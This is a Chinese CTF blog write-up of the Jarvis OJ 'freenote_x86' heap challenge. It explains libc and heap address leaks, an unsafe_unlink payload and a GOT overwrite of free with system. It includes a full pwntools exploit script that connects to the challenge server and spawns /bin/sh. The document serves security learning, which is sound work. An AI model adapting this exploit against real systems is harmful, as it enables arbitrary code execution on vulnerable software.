原来的附件有点问题,重新发过了.
主要用了两个技术:1.溢出泄露libc地址,heap地址.2.unsafe_unlink,这个how2pwn上unsafe_unlink.c里写的很清楚.
首先看泄露libc地址
New("A"*0x80)#0
New("B"*0x80)#1
Delete(0)
New("123")
List()
c=p.recvuntil('AAAA')
leak_addr=u32(c[-8:-4])
print hex(leak_addr)
offset=0x1ad450//各个版本libc可能不同
libc_addr=leak_addr-offset
首先malloc两个smallchunk.因为chunk0是第一块smallchunk,fd和bk都指向main_arena中的特定值.
free前 | free chunk0后 | 再malloc |
---|---|---|
pre | pre | pre |
size | size | size |
AAAA… | fd | 123 |
AAAA… | bk | bk |
… | ||
pre | pre | pre |
size | size | size |
BBBB… | BBBB… | BBBB… |
BBBB… | BBBB… | BBBB… |
在本地调试,gdb freenote_x86,如上操作,ctrl+c暂停,查看内存,堆处如下:
0xf7fbe450指向main_arena中某个值,然后vmmap查看加载地址
libc加载的起始地址是0xf7e11000,计算下两者偏差0x1ad450,这个值和服务器上相同,都是泄露地址相对libc起始位置的相对偏移.
然后看泄露堆地址
New("C"*0x80)#2
New("D"*0x80)#3
Delete(0)
Delete(2)
New('000')
List()
d=p.recvuntil('AAAA')
chunk2_addr=u32(d[-8:-4])
heap_addr=chunk2_addr-0xd28 ##固定值,是第一块分配的chunk距heap头的偏移
print hex(heap_addr)
pointer2chunk0=heap_addr+0x18
先再创建两个smallchunk,然后删除0和2,因为当两个不相邻的chunk被free掉时,会形成链表,这时chunk的fd和bk中存有chunk的地址信息如下:
这里bk是指向chunk2,为0x0804bd28.分配chunk是从距堆底0xc28开始,是固定的,chunk2距chunk00x100,因此
heap_addr=chunk2_addr-0xc28-0x100.
为什么要泄露堆地址是因为unlink需要指向chunk的指针,而指针保存在堆起始位置,它维护指向各chunk的指针.
然后进行unlink
首先全部删除块.关于unlink我在传送门写了.再本地看下指向chunk0的指针保存在距堆首0x18:
.
按照之前的学习笔记,构造payload:
payload = p32(0)+p32(0x81)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)
payload = payload.ljust(0x80,'a')
payload += p32(0x80)+p32(0x80)
payload = payload.ljust(0x80*2,'a')
New(len(payload),payload)
Delete(1)
此时heap_base+0x18处的指针已指向heap_base+0x18-12,然后构造payload2,利用edit修改heap头:
经过看内存,大概了解了,0x804b00c处是有几块使用中,然后每12个字节对应一块chunk:前4个字节,0代表free了,1代表使用中;中间4个,是chunk数据字段的大小;最后4个是块地址.
最后劫持got表
修改got表,把free的地址修改为system地址,然后把"bin/sh"传入chunk1处,此时执行free(1)就相当于system("/bin/sh")
脚本如下:
from pwn import *
context.log_level='DEBUG'
e=ELF('libc-2.19.so')
local=0
if local:
p=process("./freenote_x86")
else:
p=remote('pwn2.jarvisoj.com', 9885)
def New(content):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Length of new note: ")
p.sendline(str(len(content)))
p.recvuntil("Enter your note: ")
p.sendline(content)
p.recvuntil("Done.")
def List():
p.recvuntil("Your choice: ")
p.sendline("1")
def Edit(index,content):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Note number: ')
p.sendline(str(index))
p.recvuntil('Length of note: ')
p.sendline(str(len(content)))
p.recvuntil('Enter your note: ')
p.sendline(content)
p.recvuntil("Done.")
def Delete(index):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Note number: ")
p.sendline(str(index))
###########################leak libc address
New("A"*0x80)#0
New("B"*0x80)#1
Delete(0)
New("123")
List()
c=p.recvuntil('AAAA')
leak_addr=u32(c[-8:-4])
print hex(leak_addr)
offset=0x1ad450##local tested main2libc
libc_addr=leak_addr-offset
sys_addr=e.symbols['system']+libc_addr
print hex(sys_addr)
###############################leak heap address
New("C"*0x80)#2
New("D"*0x80)#3
Delete(0)
Delete(2)
New('000')
List()
d=p.recvuntil('AAAA')
chunk2_addr=u32(d[-8:-4])
heap_addr=chunk2_addr-0xd28
print "heap_addr:"+hex(heap_addr)
pointer2chunk0=heap_addr+0x18
########################################unlink
Delete(0)
Delete(1)
Delete(3)
elf=ELF('./freenote_x86')
payload = p32(0)+p32(0x81)+p32(pointer2chunk0-12)+p32(pointer2chunk0-8)
payload = payload.ljust(0x80,'\x00')
payload += p32(0x80)+p32(0x80)
payload = payload.ljust(0x80*2,'\x00')
New(payload)
sleep(0.2)
Delete(1)
##################################hijack got
payload2 = p32(2)+p32(1)+p32(4)+p32(elf.got['free'])+p32(1)+p32(8)+p32(heap_addr+0xca8)
payload2 = payload2.ljust(0x80*2,'\x00')
Edit(0 ,payload2)
Edit(0, p32(sys_addr))
Edit(1, '/bin/sh\x00')
print 'system address:%x'%sys_addr
###################################call system("/bin/sh")
Delete(1)
p.interactive()
经过这段时间的学习,深感基础不扎实,暂时放下jarvis,去系统学习一下pwn.发现一个讲的很全面的网站,ctf-wiki,里面不光包括pwn,是中文.我会记笔记在博客里的.